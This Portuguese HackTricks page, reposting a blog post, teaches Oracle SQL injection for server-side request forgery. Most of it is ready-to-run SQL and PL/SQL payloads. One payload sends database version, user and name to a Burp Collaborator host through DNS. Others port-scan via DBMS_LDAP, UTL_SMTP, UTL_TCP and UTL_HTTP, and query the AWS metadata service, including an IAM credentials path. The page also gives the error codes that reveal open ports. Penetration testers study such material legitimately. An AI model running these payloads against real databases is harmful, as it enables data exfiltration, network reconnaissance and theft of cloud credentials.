9.2 KiB
Injeção no Oracle
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Sirva esta postagem como uma cópia da máquina do tempo do post excluído de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
Instalar o Oracle pode ser realmente doloroso, especialmente se você deseja configurar uma instância rápida para experimentar comandos. Meu amigo e colega da Appsecco, Abhisek Datta, me indicou o https://github.com/MaksymBilenko/docker-oracle-12c que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
Executei o comando docker com a flag --network="host"
para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Pacotes Oracle que suportam uma especificação de URL ou Nome do Host/Número da Porta
Para encontrar quaisquer pacotes e funções que suportem uma especificação de host e porta, executei uma pesquisa no Google na Documentação Online do Banco de Dados Oracle. Especificamente,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede de saída)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Esta pesquisa rudimentar obviamente ignora pacotes como DBMS_LDAP
(que permite passar um nome de host e número de porta) pois a página de documentação simplesmente o direciona para uma localização diferente. Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
DBMS_LDAP.INIT
O pacote DBMS_LDAP
permite o acesso a dados de servidores LDAP. A função init()
inicializa uma sessão com um servidor LDAP e recebe um nome de host e número de porta como argumento.
Esta função já foi documentada anteriormente para mostrar a exfiltração de dados por DNS, como abaixo
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
No entanto, dado que a função aceita um nome de host e um número de porta como argumentos, você pode usar isso para funcionar como um scanner de portas também.
Aqui estão alguns exemplos
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
Um ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estar aberta.
UTL_SMTP
O pacote UTL_SMTP
é projetado para enviar e-mails via SMTP. O exemplo fornecido no site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail. Para nós, no entanto, o interessante é a capacidade de fornecer um host e especificação de porta.
Um exemplo simples é mostrado abaixo com a função UTL_SMTP.OPEN_CONNECTION
, com um tempo limite de 2 segundos.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
Um ORA-29276: tempo de transferência expirado
indica que a porta está aberta, mas nenhuma conexão SMTP foi estabelecida, enquanto um ORA-29278: erro transitório SMTP: 421 Serviço não disponível
indica que a porta está fechada.
UTL_TCP
O pacote UTL_TCP
e seus procedimentos e funções permitem comunicação baseada em TCP/IP com serviços. Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
O exemplo no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web. Podemos simplificar um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
UTL_HTTP e Solicitações Web
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band seja o pacote UTL_HTTP
. Este pacote é definido pela documentação como - O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Você também pode usar isso para realizar uma varredura de portas rudimentar com consultas como:
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
Um ORA-12541: TNS:no listener
ou um TNS:operation timed out
é um sinal de que a porta TCP está fechada, enquanto um ORA-29263: HTTP protocol error
ou dados é um sinal de que a porta está aberta.
Outro pacote que já utilizei no passado com sucesso variado é o método GETCLOB()
do tipo abstrato Oracle HTTPURITYPE
que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método GETCLOB()
é usado para buscar a resposta GET de uma URL como um tipo de dado CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;